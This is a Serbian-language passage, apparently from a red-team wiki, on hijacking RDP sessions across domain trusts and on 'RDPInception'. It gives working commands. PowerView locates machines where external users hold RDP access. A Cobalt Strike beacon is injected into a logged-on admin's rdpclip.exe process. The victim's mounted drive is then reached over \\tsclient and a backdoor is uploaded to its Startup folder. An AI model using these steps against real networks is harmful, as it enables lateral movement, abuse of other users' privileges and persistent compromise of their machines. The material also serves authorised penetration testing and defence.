Ako spoljni tim ima RDP pristup bilo kom računaru u trenutnoj domeni, napadač može kompromitovati taj računar i čekati.
Kada se korisnik prijavi putem RDP-a, napadač može preći na tu korisnikovu sesiju i zloupotrebiti njegove dozvole u spoljnoj domeni.
# Supposing the group "External Users" has RDP access in the current domain## lets find where they could access## The easiest way would be with bloodhound, but you could also run:Get-DomainGPOUserLocalGroupMapping -Identity "External Users" -LocalGroup "Remote Desktop Users" | select -expand ComputerName
#orFind-DomainLocalGroupMember-GroupName "Remote Desktop Users"| select -expand ComputerName# Then, compromise the listed machines, and wait til someone from the external domain logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> psPID PPID Name Arch Session User---------------------------...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local## From that beacon you can just run powerview modules interacting with the external domain as that user
Proverite druge načine krađe sesija pomoću drugih alatana ovoj stranici.
RDPInception
Ako korisnik pristupi putem RDP-a na mašinu gde napadač čeka na njega, napadač će moći da ubaci beacon u RDP sesiju korisnika i ako je žrtva montirala svoj drajv prilikom pristupa putem RDP-a, napadač bi mogao da mu pristupi.
U ovom slučaju, jednostavno možete kompromitovatioriginalno računalo žrtve tako što ćete napisati bekdor u startap folderu.
# Wait til someone logs in:net logonsLogged on users at \\localhost:EXT\super.admin# With cobalt strike you could just inject a beacon inside of the RDP processbeacon> psPID PPID Name Arch Session User---------------------------...49601012rdpclip.exe x64 3 EXT\super.adminbeacon> inject 4960 x64 tcp-local# There's a UNC path called tsclient which has a mount point for every drive that is being shared over RDP.## \\tsclient\c is the C: drive on the origin machine of the RDP sessionbeacon> ls \\tsclient\cSize Type Last Modified Name-------------------------dir 02/10/202104:11:30 $Recycle.Bindir 02/10/202103:23:44 Bootdir 02/20/202110:15:23 Config.Msidir 10/18/201601:59:39 Documents and Settings[...]# Upload backdoor to startup folderbeacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startupbeacon> upload C:\Payloads\pivot.exe